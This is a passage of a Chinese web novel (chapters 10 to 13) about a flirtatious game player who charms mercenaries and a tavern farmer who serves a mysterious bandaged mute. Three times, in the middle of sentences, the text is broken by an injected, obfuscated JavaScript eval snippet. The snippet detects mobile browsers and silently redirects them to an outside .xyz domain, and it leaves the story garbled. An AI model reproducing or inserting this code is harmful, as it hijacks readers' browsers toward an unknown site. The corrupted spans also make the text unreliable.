尤弥尔抬头望向头顶栏杆,见阴影角落有一个有些熟悉的身影缓缓冒头,用斗篷和兜帽紧紧包裹自己,浑身缠满绷带。 “啊!”他认出来了,“是早上迷路的那个神秘男!” 感觉这个称呼有点怪异,绷带男人依旧没有说话,但是没有错,他就是治安官口中的大人物,拦路者口中商队的贵客。 他向尤弥尔挥了挥手,掌心绷带差点随着动作散开,一时他又顾不上和尤弥尔打招呼,急忙蹲下把绷带系紧。 拦住尤弥尔的人强调:“是非常重要的事。” 听上去很紧急的样子啊…… 紧急情况具有优先权,尤弥尔不得不暂时放下原有的和姐姐聊天的打算,郑重朝二楼点点头,而后环视经过嘈杂后逐渐平息的酒馆大堂。 从佣兵和姐姐吵架起就没见到黄昏薄雾,刚下环视一周,仍旧没见到。 尤弥尔忍不住走神。 他人到底哪去了? 10. 第 10 章 被尤弥尔惦记的黄昏薄雾此刻坐在酒馆正对面建筑的房顶,遥观闹剧戛然而止,人群四散而去,撤退的佣兵团像野狗,窜入通往海边的石板小道。 他吹了声口哨,翻身跳下屋顶。 而后大摇大摆地追寻佣兵团的踪迹,步入同一条小道。 两分钟后。 “谁在那里?” 佣兵团团长察觉到陌生人的气息,也可以说黄昏薄雾根本没有起掩盖气息的心思,他脚上穿着那双从尤弥尔卧室翻出来的【尖叫奔跑之靴】,直接从根源断绝他潜行跟踪的可能性。 【尖叫奔跑之靴】:奔跑速度提升20%,隐蔽概率降低20%。 在佣兵团团长的警惕中黄昏薄雾双手插兜,直接从阴影走出,行事从容,毫无顾忌。 “呀,”他抬起右手轻轻挥了挥,“下午好,一个没少,你们都在呢。” 这出场实在太突兀了,佣兵们你看看我,我看看你,无人应答。 游戏的NPC按照对待玩家的态度可以分为三种,代表友好的绿色,代表中立的黄色,代表敌对的红色。除了红色NPC不可攻略不可交流外,其他人都不会在没有交流的情况下主动攻击他。 现下这帮佣兵的头顶冒出了黄色泡泡,中立态度,代表对玩家不好不坏,可以沟通。 “你是谁?”佣兵团团长沉声。 “黄昏薄雾507。” 没有人对这个由数字和词语构成的名字感到奇怪,也只有尤弥尔,一个普普通通新手村农夫会察觉到异常。 “黄昏薄雾507?”佣兵团长上下打量他,忍不住将视线落在他足下那双形似可笑的鞋子,“你有什么目的?” 黄昏薄雾深吸一口气。 ‘异常’意味‘线索’,‘线索’指向‘事件’,‘事件’触发‘任务’。 玩游戏怎么可能不对任务感兴趣,虽然他很喜欢看尤弥尔绞尽脑汁给他讲故事的可爱模样,但也不影响他认为这帮佣兵出现的时机很巧合很莫名其妙。 “哎呀哎呀,各位何必对我摆出一副如临大敌的表情,我只是好奇嘛,”黄昏薄雾绽放笑容,那股始终萦绕在面容挥之不去的艳丽发挥作用,像一个巨大的人形发光体,瞬间吸收所有视线,离他最近的几名佣兵甚至看得都痴了。 “佣兵一般不常来这种小村子,让我猜猜,是接了委托?”黄昏薄雾说,“我这个人就是爱凑热闹,对你们的委托内容很好奇,拜托了,请告诉我吧。” 一个任谁看来都是很离谱的请求。 但是配上玩家属性面板中,评价是“美神在世”的高魅力值,一切又变得合理起来。 人群隐隐骚动,佣兵窃窃私语,竟然在认真探讨黄昏薄雾提议的可行性,“好像是个普通人”、“告诉他也没关系吧”、“不行任务至上”、“要保密”……之类的话缕缕不绝,乘着海风钻进耳朵。 佣兵团长仍旧维持较高的理性,没有被他魔性的美丽腐蚀:“不行,我不能告诉你。” 他将手放在腰后的弯刀刀柄,警惕性拉满:“这位先生,如果你再追问下去,我将不得不采取一些极端手段。” “诶,这么排斥我啊?”黄昏薄雾显得很失望,“好吧好吧,那我换种方式问。” 玩家不会轻易承认自己的失败。 在《晨曦之国》的游戏设定中,魅力值除了影响好感度获取效率之外,还会影响精神控制类技能的释放成功率,魅力值越高,成功率越高。 虽然受等级限制黄昏薄雾只学了一个很基础的精神类技能。 但是,此时不用更待何时! 【 名称:真言术 类别:技能 效果:对触碰后的单个目标使用,使用后目标会以自己认知为基准,如实回答施法者的三个问题。技能释放成功率受施法者的等级和魅力值影响。冷却时间一天。 】 离他最近的佣兵仿佛闻到了什么,那是从皮囊和腺体渗出的香味,通过毛孔渗入肌肤,而后是血管、五脏六腑,直至大脑。他变得昏沉,眼前的青年像隔着重重迷雾又像近在咫尺,上挑眼尾勾魂夺魄,令他翻涌倾吐的欲望。 甜腻的声音在耳边飘忽不定,黄昏薄雾像话家常般,不着痕迹地靠近他:“告诉我,你们的委托内容是什么?” 佣兵喃喃:“把一个叫……魏尔德的人……活着带回熔金城……” “谁下的委托?” “熔金城城主。” 还有最后一个问题。 好像也没什么需要问的了,黄昏薄雾想了想,决定进一步了解细节。 “魏尔德是谁?” “城主的儿子……我们查到他在这附近,但是我们刚来……没找到。” 伴随着最后一个问题回答完毕,佣兵彻底失去利用价值,黄昏薄雾表情十分嫌弃地收回搭在对方肩膀上的手,肆意张狂地斜眼一瞥,看向佣兵团长的眼神像是在说,你不告诉我又怎么样,你的团员会说啊。 我可真是太聪明了,黄昏薄雾洋洋得意地想,随之而来的是,在没有任何人注意到的视线落点处,任务系统如他所料弹出了新的提示。 【解锁任务:调查魏尔德。】 然而这并未结束。 游戏画面肉眼可见地卡顿了下,像是年久失修的老旧电器。紧接着叮的一声,详情栏吐雪花般刷出另一条醒目提示。 【由于玩家当前智力过低(关联-人物属性-智力:-2),未能从目标口中察觉关键线索,请再接再厉,继续探索!】 半透明的黑底白字,浮在半空中,映衬海鸥划过天际的喑哑鸣叫,气氛莫名微妙。 黄昏薄雾:…… 黄昏薄雾:? 这是嘲讽吧? 这一定是系统在嘲讽我吧!! 。 上楼的时候,尤弥尔在想黄昏薄雾。 他的邻居率直,可靠,虽说有点任性不太在乎健康,但总体来说是个值得信赖的人。 值得信赖的黄昏薄雾先生不告而别这么久,一定是遵守与他之间的约定,独自一人看医生去了吧! 尤弥尔很快说服了自己,甚至还想好见完绷带男之后就去医馆接他。而后是吃饭问题,即使他今天剩余的大部分时间要在酒馆度过也不要紧,他可以用后厨煎条有助于恢复健康的海鱼,再炖一锅浓浓的南瓜汤。 对黄昏薄雾的迷之信任促使他在脑中把事务安排得井井有条。等到踏上最后一级台阶,尤弥尔才终于有空,向领路的男人询问道:“要见我的是谁啊?” 他至今不知道绷带男的名字。 谁知领路的男人也摇了摇头:“我不知道。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310001|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“他是在半路加入的,”只要给的钱多,商队来者不拒,男人道,“我们从不过多询问,也不透露客户的隐私。” 还挺有职业道德的。 尤弥尔意识到他无法从领路的男人那里获取更多信息,事实上,他对绷带男邀请他的目的一无所知,只是顺从直觉登上二楼,在静默中路过无数紧闭的房门,而后终于在最角落远离阳光的房间前停下脚步。 “到了。”男人说。 他站在门口,没打算进去,尤弥尔只好自己动手推门而入。 吱呀。 古旧的房门露出一条小缝。 即使是一天之中阳光最盛的时候,这个房间也给人阴冷潮湿的感觉。绷带男坐在屋内唯一一张桌子旁边,裸露出的部位从手腕到指尖缠满绷带,尤弥尔推门进来的时候,他正笨拙地试图从茶壶往外倒水。 “你好。”尤弥尔说。 他努力地让两个陌生人之间气氛不那么沉闷,率先开启话题:“我叫尤弥尔,能告诉我你的名字吗?” 也许是环境足够令人安心,绷带男此时没有穿戴斗篷和兜帽,尤弥尔这才看清他全身上下只有一双眼睛露在外面。 听见他的问题,绷带男的眼睛弯了弯,他指指自己的嘴巴,然后摆摆手。 他不能说话,是个哑巴。 “啊……?”尤弥尔反应过来,“对不起对不起,冒犯你了。” 绷带男又笑着摇摇头,意思是不关你的事。 他用茶水沾湿指尖布料,使用多年的木桌已经磨损到形成玉石般润泽的表面,他在桌面一写一画,动作很慢,写完后期待地看向尤弥尔。 尤弥尔认出桌上的字。 “尤、弥、尔,”他点点头,“没错,这是我的名字。” 又看向绷带男:“你的呢?” 他再次用茶水沾湿手指。 “魏尔德。” 尤弥尔看向他:“你说你叫魏尔德?” 绷带男点点头。 毫无印象,他对这个名字毫无印象。尤弥尔仔细在脑袋里面搜寻好久后得出这个结论。 这让他对魏尔德找他的理由更摸不着头脑,只好疑惑地问出口,而魏尔德这个哑巴似乎不太擅长手语,连忙站起,手脚并用用肢体语言表达他的意思,手忙脚乱地像只上蹿下跳的猹。 他先是指了指太阳,而后划向东方,再向尤弥尔鞠躬,捧起心脏,指指尤弥尔,最后双手合十两眼泪汪汪地看向他。 尤弥尔:“……” 他艰难猜测:“你是说,早上的事,你很感激我?现在你很信任我,所以有事想找我帮忙?” “我能帮你什么呢?” 不是他妄自菲薄,他不觉得自己能帮上一个出手阔绰连商队都能收买的人什么。 魏尔德猛猛点头,尤弥尔都害怕他一不小心把头都晃断了。他赶紧比出下一个动作,弓起背,双手下垂,模仿野兽在房间内走来走去,随后两手围成一个空心圆放在额头。 这又是啥? 他是来玩你来比划我来猜的吗? “老虎?狮子?交不起房租偷偷跑路的人?”尤弥尔一个劲地猜,他忽然福至心灵,“马?头上有角的马?” “独角兽!”他脱口而出,“你是想问我独角兽。” 魏尔德的眼睛瞬间亮了起来。 11. 第 11 章 “你的意思是,”尤弥尔再次确认道,“你想了解我们村关于独角兽的传说?” 魏尔德忙不迭地点头,喉咙发出像是碎石来回活动摩擦的嗬嗬声,他定定地看着尤弥尔,急于表达的手都快舞出花来了。 未免他真的舞出花,尤弥尔不得不打断:“好了好了,耐心一点,我把我知道的全都告诉你。” 他把之前跟黄昏薄雾说过的故事再次告诉魏尔德,关于独角兽喜欢纯洁的灵魂,关于独角兽的起死回生。 说着说着他自己都感觉到一阵可笑的荒谬,这就是个普普通通用来哄小孩子的故事,是个习以为常的民俗习惯,却短短时间内被反复提及,仿佛他们真的相信有一只存在于神话故事,头顶长角的洁白生物,会怜悯人类的死亡。 但那是假的啊。 传说就是传说,海滨一带的村子都有类似的故事,大同小异的,尤弥尔听不出其中有什么区别,他也没听说过有谁真的见到过独角兽。 看在女神的份上,他只能猜测独角兽的真相或许是一种类似血或角的草药而已,经过包装和以讹传讹变成了现在流传甚广的童话故事。 但魏尔德不这么觉得。 他显得很高兴,几乎快要跳起来了,脸上绷带在手舞足蹈之间变得松散,不擅长打结的他慌忙将绷带头紧紧按在脸上,不好意思地朝尤弥尔笑了笑。 应该是笑吧…… 好好的一颗头,被绷带一裹,什么也看不出来。 “你还有什么想知道的吗?”尤弥尔说,“如果你想了解更详细的故事细节的话,我可以帮你把我姐姐,啊,就是这间酒馆的主人叫上来。” 魏德尔却连连摇头,把脸上绳结捆好后摆手,意思是这些就够了。 “够了?”尤弥尔很困惑。 拦路的男人说魏尔德有很重要的事情找他,原来很重要的事情就仅仅只是听故事。 那随便找个人不就好了。 他不觉得自己有什么特殊的,这些传说都是雾钟村乃至海滨地带人类所熟知的。可能比起其他人,他唯一的特殊之处就是清晨给迷路的魏尔德指了指回酒馆的道路,举手之劳而已。 “真的不需要我做什么吗?”他还是不确定。 魏尔德坚定地点点头,仿佛他把尤弥尔叫上楼真的只是为了听故事。 “真的?” 点头。 “没有其它事了?” 点头。 “那我走了哦。” 点头……嗯? 尤弥尔想明白了,魏尔德是怪人,怪人有怪人的生活习惯和生存方式,就跟民俗学家总是往墓穴鬼屋打探一样,魏尔德喜欢绷带,注重防晒,用绷带裹满全身一定是大工程。 喜欢听故事就让他听,大家都是成年人,各有各的爱好和行为倾向,自己没理由大惊小怪。 他站起身,手贴在眼角小幅度地晃了晃:“那,再见,魏尔德先生。” 下一刻,衣角却被抓住了。 “嗬……啊。”魏尔德的口中发出声音。 干涸的声音被绷带蒙上阴翳,只有裸露在外的眼睛表达着渴求,仔细凝视能从他纯黑的瞳孔中发现一抹深邃的紫,光影变化,尤弥尔读出不舍与渴求。 所以说,还是有事求他吧。 真不愧是自己,尤弥尔内心小小地夸赞自己,他就是如此的善于读取人心。 “要我做什么呢?”尤弥尔小声问。 只见魏尔德犹疑片刻,他看向尤弥尔的瞳孔闪烁,然后把手慢慢放向胃部,用力地按了按。 “嗬、嗬。”饥饿。 魏尔德饿了。 。 在酒馆,给客人准备食物是天经地义的。 饥饿时,每一根神经都在被灼烧,尤弥尔懂那种感觉。他顺从魏尔德的意思问他想吃什么,但这位挑剔的客人又摇了摇头,意思是全权由你负责。 好吧,尤弥尔想,他负责就他负责。 他对于进入酒馆后厨这件事已经习以为常。 酒馆就叫玛丽琳酒馆,简单粗暴,看得出来姐姐对起名这种事懒得动脑筋。许多年前她招来一帮招待,联系地址和食物供应商队之后,就红红火火开起酒馆,从小萝卜头尤弥尔至今。 酒馆大厨也很熟悉他,任由尤弥尔开辟了一小块灶台,从今日供应的食材中分出少部分,切块加沸水放入锅中。 魏尔德看上去身体不是很好。 他不能喝酒,喉咙那种情况最好也吃软烂的食物。 尤弥尔往锅里丢了些切得均匀稀碎的洋葱和番茄,再加了一勺早就备好的鸡骨高汤。他再把大厨煨好的牛肋条肉放在案板上,沿纹路切成指节大小的块。 等待蔬菜煮软烂的期间,他暂时无事可做了。 “尤弥尔,”大厨凑过来说话,“帮下忙,把这份菜送给10号桌的客人。” “好啊。”他说。 酒馆生意一向很好,尤其是每逢商队抵达雾钟村的日子,今天更不必说。尤弥尔端起托盘掀开后厨的门板,走向大堂的时候顺路从前台打了杯啤酒,和托盘上的意面并排放。 然后不期然地和黄昏薄雾撞上眼。 黄昏先生……这是看完病回来了? 黄昏薄雾站在靠近门口的桌子,和两个商队的客人闲聊,抬起头,在看见他的时候眼睛弯了弯,尤弥尔也同样回以一个浅浅的微笑。但现在不是闲聊的时候,笑容过后尤弥尔脚步稳稳地转弯,走向与黄昏薄雾背道而驰的10号桌。 “先生,你点的餐品上齐了。”他放下托盘。 “好的,谢谢。”10号桌的客人说,有些走神。 尤弥尔回头。 顺着他的视线,黄昏薄雾又换了一张桌子,不知说了什么,逗得新桌的女士哈哈大笑。而原先对话的两个客人面露不甘又期待,眼巴巴地伸长脖子,看着黄昏薄雾的背影。 黄昏先生总是这样。 虽说他是一个值得信赖的好人,但在社交时总会显得颇为任性。他经常穿梭于酒桌之间,和酒馆的所有客人挨个对话一遍,就连二楼的包房也不放过。又或者是和某个新面孔闲聊,等说到对方兴致盎然时突然终止,像是对对方失去兴趣了一般,施施然拍拍屁股走人,转向下一个聊天对象。 尤弥尔不是很理解这种社交方式。 他又和黄昏薄雾对视,对方漆黑一片的瞳孔中看不见自己的倒影,快步回到后厨。 回来的时机刚好,汤锅咕噜咕噜冒泡,轻柔的白雾升腾,汁水也带了点粘稠的质感。 牛肉需要等待合适的时机放入,尤弥尔举起勺子,想试试汤汁目前的味道。 下一秒,手自然而然地放在后脖颈。 “黄昏先生,你又想偷偷吓我了对不对?” 身后的声音轻飘飘得和水蒸气一样:“尤弥尔对我有了防备心,我的心好痛哦。” 任谁被吓了好几次都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310002|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会产生防备心的好不好? 尤弥尔没好气地转身,黄昏薄雾穿着从他房间翻出来的姐姐送的鞋子,跟个鬼一样走路没有声音,就站在距离他半步的位置,双颊鼓起,想要往他耳后和脖子吹气。 “你怎么到后厨来了?” “来看看你啊。”黄昏薄雾比划,似乎是遇见足够愉悦的事情,“我跟你说,刚刚我遭遇了一个大危机!还好我依靠我的聪明才智和无敌魅力完美解决了……也不是很完美吧,莫名其妙被系统嘲讽了一通。” 尤弥尔已经学会自动过滤黄昏薄雾说的句子。 他嗯嗯两声,专注在汤锅,耳朵听着黄昏薄雾用模糊不清的词汇叙述他的丰功伟绩,叭叭叭听了一堆赞美他自己的词汇。 等到他说话的空隙,尤弥尔才有时间问:“你不去和新朋友们聊天了吗?” “几句话就能刷满的好感度有什么可聊的,都是些勾勾手指就腆着脸上来的级别,难度简单到爆。”黄昏薄雾耸耸肩膀,语气冷淡到可以用无情形容,“再说下去就是浪费时间,没有意义,不如来后厨找你玩。” 黄昏薄雾的话很多,不需要尤弥尔接话也能独自嘀嘀咕咕:“你为什么这么问?吃醋了?不对啊我看好感度没变化。” “好感度到底是什么东西?” 尤弥尔的疑问由来已久,“它有什么用?” 似乎是被这超脱NPC思维束缚的问题问住了,黄昏薄雾陷入了片刻的沉默。 但他几乎是马上笑了出来,低低地,忍不住喘息。 “好感度呢,就是你对我的容忍程度,”用容忍替换喜爱似乎没有任何问题。 即使尤弥尔预判了他的动作,黄昏薄雾也没有挪位置,他靠得极近,近到尤弥尔被夹在灶台与他之间,他却不知道为什么始终没有向前。 语调不满,带着浓浓的鼻音,黄昏薄雾说:“以尤弥尔现在对我的好感度来说,在没有你允许的情况下,稍微碰碰都要被系统警告呢,根本不能做我想做的事。所以我只好退而求其次吓吓你。” ……退而求其次是这样用的吗?? 加嘉莉说得对,看来黄昏先生的文学常识确实水平不足,闲得没事可以做点阅读理解习题。 尤弥尔保持理智:“你想做什么?” “秘密。”他似乎又靠近了一步,隔着重重云雾,尤弥尔能看见他嘴唇开合时鲜红的舌和皓白的贝齿,轻声呢喃,“等好感度40了就告诉你其中一点点。” “还卖上关子了。”都不肯直说。 难道是做了什么会让他生气的事吗? 他是如此地善于读取人心,黄昏薄雾想隐瞒根本就不可能。尤弥尔的脑袋瓜一转,他都不用猜,现阶段黄昏薄雾觉得会让他生气所以不能告诉他的事情只有一件。 “你不会是,”开玩笑的语气,尤弥尔轻松地说,“明明答应过我……”结果现在都没去医馆吧? “尤弥尔!”黄昏薄雾突然脸色一变,直接打断。 他们之间的距离近到黄昏薄雾能在厨房诸多纷杂的烟雾中清晰观察他肌肤的纹理,嗅到他身上青草和柠檬的芳香。他们靠得几近融为一体,黄昏薄雾能看清他瞳孔深处自己的倒影。 还有一小片夹在衣领的绷带碎片。 黄昏薄雾声音顿时拔高,变得委屈又愤怒:“你背着我有别的狗了?!” “……”原本想说的话全忘了,尤弥尔面色空白,半晌茫然道,“哈?” 12. 第 12 章 首先,没养狗。 其次,你也不是狗。 当人很好啊,为什么要自比是狗呢?尤弥尔不理解,他在简单的空白之后回神,先是说明“没有背着你,和客人沟通很正常”,再强调“你不是狗”,最后摸摸黄昏薄雾的头,深蓝渐变的发丝从指缝中漏出。 手感好柔软。 尤弥尔一边摸一边想,克制地收回手,而后忙着回身去摆弄锅灶,将炖得浓稠的汤汁倒进碗中,配上烤焦的蒜香面包块。 因此忽略黄昏薄雾幽怨得冒黑气的眼神,像是在说尤弥尔你不能剥夺我当狗的权利。 “接下来你要去哪?” “去把食物送给客人。”尤弥尔回答。 他除了厨师还要兼职服务生,这在酒馆已经很寻常。尤弥尔手捧托盘将木质楼梯踩得嘎吱嘎吱响,他走上二楼,黄昏薄雾像背后灵紧紧贴着他。 边贴还边要埋怨:“你要去见那个绷带男是不是?他都在你身上留下痕迹了,这是挑衅!赤裸裸的挑衅!” “嗯嗯嗯。” “他算什么东西,一个不敢见人的胆小鬼,说不定还是个丑八怪。都说了,知人知面不知心,更何况他连面都不敢露出来,绝对是个会欺负你的坏人!” “嗯嗯嗯。” “他怎么能跟我比,我肯定比他更喜欢你。” “嗯嗯嗯。” 黄昏薄雾的话,比起抱怨,更像是撒娇。 可惜尤弥尔没有当真,为酒馆客人提供服务本来就是他的工作,他只是履行自己的职责。 天色变得暗淡,星光透过朦胧的云层掠过酒馆门前被磨得锃亮的石板,黑夜白天交接,无数炊烟自地平线袅袅升起,和千百米高的卷云连绵成看不清边际的一片。 尤弥尔朝门外看了眼变得半橘半蓝的天空,下一秒魔音就灌入耳畔:“尤弥尔,不要给他送饭了,你打工的钱我都可以给你啊,就算你想买下酒馆,买下广场,买下整个雾钟村,不就是钱嘛,我会搞定的。” 平心而论黄昏薄雾的声音根本算不上魔音,温和又撩人,像是加了甜浆的窖藏红酒,他浑身上下没有一处不完美,但尤弥尔更多的是被他的壕气大发震惊。 酒馆就算了,本来就是他姐姐的财产。 买下广场和村子就有点过分了吧,比起有钱,更重要的是得有权力和爵位。 黄昏先生的家简陋得就剩下几个储物箱,尤弥尔无论如何都不相信他的话,他只当黄昏薄雾是在开玩笑,安抚道:“好啦好啦,等酒馆最忙的这段时间结束,我就带你回家。” “……尤弥尔这是在把我当小孩子哄吗?” “怎么会,”尤弥尔眨眨眼睛,星辰在他眼中一闪而过,“黄昏先生在我心中非常可靠,没有你的话,我连该怎么活下去都不知道。” “哼。”不高兴爬满整张脸,但他不说话了。 到达魏尔德的房间,尤弥尔敲了敲门。 咚咚。咚咚。 他站在门口呆了足足两分钟,都没有得到门内的任何回应。 魏尔德曾交代过,不要泄露他的身份,因此尤弥尔没直接叫出他的名字,单手放在门上,只是说:“先生,先生?我是给你送饭的尤弥尔……我进来了哦。” 他推开门。 门内空无一人,窗户敞开,窗帘薄纱的边微微翻动起伏,夏夜湿润的风便有了形状。 桌上只有一张纸条:“出门觅食,尤弥尔不用等我。” 尤弥尔缓缓打出一个问号。 跑了?这算逃单吗?那他精心准备的饭怎么办? “饭当然是归我了!”黄昏薄雾都快要气疯了,“他居然敢直呼你的名字!” 他看上去是真的非常不喜欢绷带男,把原本属于魏尔德的饭吸溜欢快,边吃还要边说那个没有脸的男人果真不要脸,尤弥尔你可别被他骗了,如果一定要骗的话不如被我骗云云。 在给魏尔德上眼药这方面,黄昏先生还真是锲而不舍。 尤弥尔欲言又止:“……慢点吃,锅里还有。” 无论是谁他都不会被骗的,尤弥尔对自己超有自信。 。 两个小时后。 入夜时分是酒馆一天中最忙碌的时间,从魏尔德的房间出来后,尤弥尔就没有休息过。他把黄昏薄雾推到大堂,自己在后厨接手一定量的烹饪工作,把鸡蛋打发成软硬适中的奶油,或是调味美味的酱汁。 等到终于闲下来的时候,他走出后厨,望见黄昏薄雾站在酒馆大堂中间,穿着那身常穿的宽松上衣,脊背优美的蝴蝶骨若隐若现,振翅欲飞。他的背影挡住了尤弥尔大部分视线,只能看见片刻手指灵活的翻飞,大堂客人静默一瞬,而后掌声雷动,赢得满堂喝彩。 真的有蝴蝶飞出来了! 黄昏迷雾对成为视线中心再适应不过,他变完魔术,优雅地向观众鞠躬行礼,丝毫不顾周围或艳羡或挽留或崇拜的目光,径直走向尤弥尔。 “回家吧。”他说。 “哦,好。”尤弥尔回答,“等我拿上加嘉莉的晚饭。” 也不能指望加嘉莉一个六岁的小朋友能拿得动锅铲嘛,尤弥尔把后厨的菜打包了一份,再跟玛丽琳和厨师长打声招呼。他忙碌了不到三分钟,再次回到酒馆门口时,发现黄昏薄雾身边多了两个人。 黑皮绿甲,是白天见过的佣兵。 冲突之后再见面总觉得尴尬,尤弥尔往黄昏薄雾的方向多靠了靠:“这两位是?” “哦,是盟友啦。”黄昏薄雾介绍。 “我得知了他们在找人,为了提高效率,他们只好哭着喊着当我的小弟,让我和他们共同行动。没办法,我的魅力就是这么大,”黄昏薄雾笑眯眯地说,“反正我也有事情需要他们帮忙。” “你们要找谁?” “那是秘密,尤弥尔,不能告诉你。” 不愿说就不愿说,他本来就是随口一问。 那两人手上拿着大包小包的礼物盒,全都是方才黄昏薄雾魔术表演观众的赠礼。他早已习惯众星捧月,也相当自我中心,对指使别人毫不顾及,推了推尤弥尔:“你的东西也可以放在他们那。” 尤弥尔摇头:“不用,我自己拿。” 他对黄昏薄雾的受欢迎程度习以为常,但尤弥尔觉得自己也不差,他手里除了妹妹的晚饭之外,还有厨师长送的海鱼、招待小姐给的零食和玛丽琳随手塞的低度数果酒。 即使没有黄昏薄雾那么多,他也是个被姐姐和朋友疼爱的孩子。 月光洒满回家的路,黄昏薄雾的神色比月光还冰凉,尤弥尔手里拿着东西,他就没办法装作无意识的靠近,然后触碰,说不定还有机会拉个小手——万般皆是泡影,黄昏薄雾只好跟在他身后踩着他被月光拉长的影子,不满地碎碎念。 “尤弥尔你手上的饭盒看上去就很沉,你不觉得重吗?光看着我就很心疼你。” 尤弥尔不以为意:“不会吧,我经常做农活的,身体很强壮。” 黄昏薄雾看着他的细胳膊细腿,很无语。 “被重物压久了会长不高的。” 尤弥尔微微张口:“我都十八了,长不高……也很正常?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310003|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且一米七五也不矮吧。 尤弥尔看看黄昏薄雾比他高半头的身形再看看他空着的手,想不明白他在这嘀嘀咕咕半天到底什么意思。 他选择直接问:“黄昏先生,你是有什么东西想对我说吗?” “确实有。” 黄昏薄雾突然清了清嗓子,笑容依旧热烈又轻浮,散发着强烈不容忽视的致命诱惑,开玩笑的口吻:“尤弥尔一整天都没和我亲近几次,我好伤心。” “毕竟我走的可是你的恋爱线。” 他期待尤弥尔的回应。 而尤弥尔不负他所望,在听见这话后,脚步一顿。 他抬起头,清澈的瞳孔倒影黄昏薄雾的脸,他的倒影是那么清晰、明亮,明亮到他眼中的尤弥尔在皎皎月色中散发微光。 他的尤弥尔似乎很困惑,问了个风牛马不相及的问题:“对了,黄昏先生,你的两个盟友的名字能告诉我吗?” 那两个工具人的名字有什么知道的必要,黄昏薄雾笑盈盈地回答:“佣兵团成员A,佣兵团成员B,差不多就行了,反正都是些路人,我可不是随便什么男人都会记住他的名字。” “这样啊。” 尤弥尔理智地点点头。没了。 就没了?? 黄昏薄雾顿时哭丧个脸:“尤弥尔,你反应好冷淡。” “那也是没办法的事情啊,”尤弥尔忍不住吐槽,虽然黄昏先生说的话听上去很暧昧,可是他连盟友的名字都记不住。 一个连盟友名字都记不住的男人,怎么可能指望他真的在表白啊。 尤弥尔没放在心上,只当他是开玩笑。 抽不出手拍拍他的肩膀,尤弥尔只能用眼神示意安慰:“黄昏先生,以后你别用这种方式追人了,没人会相信的。” 黄昏薄雾:“……” “好了到家门口了,”尤弥尔没在过多纠结这个,偏头示意前方两栋红砖洋楼,“黄昏先生你是回自己家还是先到我家坐坐。” “……回自己家吧,我想静静。” 静静是不可能静静的,黄昏薄雾目送尤弥尔进入家门,挥了挥手当做告别,直到那扇门扉将两人彻底分隔。 他转头面向两个雇佣兵,光影在脸颊明暗交织,他的神色变得深沉。 “呵呵呵哈哈哈哈,”黄昏薄雾忽然大笑,窃窃低语,“尤弥尔尤弥尔尤弥尔,无论做什么都好可爱啊……果然,好感度不够就没法更进一步。” 捧着礼物小山的佣兵团成员A忍了一路,这时忍不住道:“黄昏薄雾507,你答应过,要帮我们找到魏尔德。” 为此他们二人才会返回酒馆门口与黄昏薄雾碰头。 “不用你提醒,我又不是傻子。”黄昏薄雾眼尾一抬,笑意收敛,只剩傲慢,“我也说了,我有事情需要你们去做。” 他对尤弥尔说的是实话。 他与佣兵团是货真价实的合作关系,虽然他接到了调查魏尔德的任务,与佣兵团某种程度利益一致,但NPC又不知道任务的存在。他只是废了点口舌,说服佣兵团,让他帮忙找人,佣兵团则帮他做事。 看似互利互惠,实则他占大便宜。 两个佣兵彼此对视,成员A忍不住道:“你要我们做什么?” “明明很容易就会死掉,但尤弥尔意外地喜欢保护弱小呢。”黄昏薄雾说。 黄昏薄雾的笑容像一朵冒着黑气的白莲花,他状若无意地指了指自己的脑袋,恶意满满,看向佣兵的眼神如同看着趁手的工具。 “和佣兵一比,我可真是太弱小了。” 13. 第 13 章 尤弥尔家的客厅灯火明亮。 厚重窗帘用丝线绑紧,玻璃映照橙黄色朦胧的光,外面夜色太深,透过窗户依稀辨得几个拉拉扯扯的模糊身影。 尤弥尔把东西放在桌上,侧身余光瞥见黄昏薄雾抬起手,手指往太阳穴点了几下。而这个动作似乎引起佣兵团员的警惕,从他们瞬间弓起的腰疯狂摇摆的头和连忙后撤的脚步就能看得出来。 这是在做什么? 是吵架还是约架的前奏? 他顿时变得有些紧张,毕竟白天在酒馆和佣兵团的相处完全称不上愉快,刚才的短暂相处黄昏薄雾对他们的态度也不算友好。他一走,三个人说不准因为什么起了口角。 脑子里霎时被黄昏薄雾在家门口挨揍的想象画面填满。 人心都是偏的,尤弥尔想了想,从家门口的置物架抽出一把长柄雨伞,悄悄把家门打开一条缝,猫着腰,偷感十足地望出去。 他要在合适的时机冲出去,为黄昏薄雾撑腰。 背后突然传来声音:“哥哥,你蹲在这干嘛?” 加嘉莉不知何时站在了尤弥尔的身后。 